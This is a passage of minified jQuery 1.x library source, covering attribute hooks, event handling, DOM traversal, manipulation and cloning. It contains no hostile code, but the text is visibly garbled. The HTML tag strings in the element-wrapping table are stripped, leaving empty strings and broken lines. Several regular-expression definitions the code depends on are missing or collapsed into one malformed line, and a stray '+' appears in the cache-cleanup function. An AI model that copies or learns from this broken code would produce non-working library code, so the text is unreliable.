t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;for(;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o)return t;a.push(t)}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--)r=i[a],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return typeof e.getAttribute===i?x.prop(e,n,r):(1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?o&&"get"in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set"in o&&(a=o.set(e,r,n))!==t?a:(e.setAttribute(n,r+""),r):(x.removeAttr(e,n),t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)?K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-"+n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?n:r)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix[n]||n,n):e[x.camelCase("default-"+n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w+/g),function(e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle[n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-"+n)]?n.toLowerCase():null}}),K&&Q||(x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set(e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t){x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||(x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n){return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}function at(){try{return a.activeElement}catch(e){}}x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid++),(l=v.events)||(l=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--)s=rt.exec(n[u])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=x.event.special[g]||{},d=x.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),x.event.global[g]=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&(c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--)if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));l&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else for(d in c)x.event.remove(e,d+t[u],n,r,!0);x.isEmptyObject(c)&&(delete m.handle,x._removeData(e,"events"))}},trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g+x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")&&"on"+g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c+g)||(u=u.parentNode);u;u=u.parentNode)h.push(u),f=u;f===(i.ownerDocument||a)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((u=h[d++])&&!n.isPropagationStopped())n.type=d>1?c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u[l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault();if(n.type=g,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data(this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n++])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!e.button||"click"!==e.type))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(o=[],a=0;l>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?x(r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i);o.length&&s.push({elem:u,handlers:o})}return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando])return e;var t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--)n=r[t],e[n]=o[n];return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,o,s=n.button,l=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX+(o&&o.scrollLeft||r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(o&&o.scrollTop||r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event(e,n)},x.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&(x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")&&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n++&&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return x().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=x.guid++)),this.each(function(){x.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove(this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(x(e).filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;i>t;t++)x.find(e,r[t],n);return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},has:function(e){var t,n=x(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(x.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e){return!!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r)))1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(x.isFunction(t))return x.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(st.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/\s*$/g,At={option:[1,""],legend:[1,"
","
"],area:[1,"",""],param:[1,"",""],thead:[1,"","
"],tr:[2,"","
"],col:[2,"","
"],td:[3,"","
"],_default:x.support.htmlSerialize?[0,"",""]:[1,"X
","
"]},jt=dt(a),Dt=jt.appendChild(a.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++){1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild)e.removeChild(e.firstChild);e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e);n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t++];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||x.support.checkClone)&&Nt.test(h))return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html())),i.domManip(e,t,n)});if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u++)i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u);if(o)for(s=a[a.length-1].ownerDocument,x.map(a,qt),u=0;o>u;u++)i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains(s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")));l=r=null}return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type"))+"/"+e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e[r]);r++)x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}function Mt(e,t){if(1===t.nodeType&&x.hasData(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)x.event.add(t,n,s[n][r])}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r in i.events)x.removeEvent(t,r,i.handle);t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),x(o[r])[t](n),h.apply(i,n.get());return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||x.nodeName(o,n)?s.push(o):x.merge(s,Ft(o,n));return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&(e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains(e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e)))for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]);++a)r[a]&&Ot(i,r[a]);if(t)if(n)for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s[a]);a++)Mt(i,r[a]);else Mt(e,o);return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h++)if(o=e[h],o||0===o)if("object"===x.type(o))x.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||At._default,s.innerHTML=c[1]+o.replace(vt,"<$1>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody){o="table"!==l||xt.test(o)?""!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}x.merge(d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push(t.createTextNode(o));s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while(o=d[h++])if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild(o),"script"),a&&_t(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s++)if((t||x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events)for(r in a.events)f[r]?x.event.remove(n,r):x.removeEvent(n,r,a.handle); +u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=null,p.push(o))}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e))return this.each(function(t){x(this).wrapAll(e.call(this,t))});if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+w+")(.*)$","i"),Yt=RegExp("^("+w+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+w+")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var 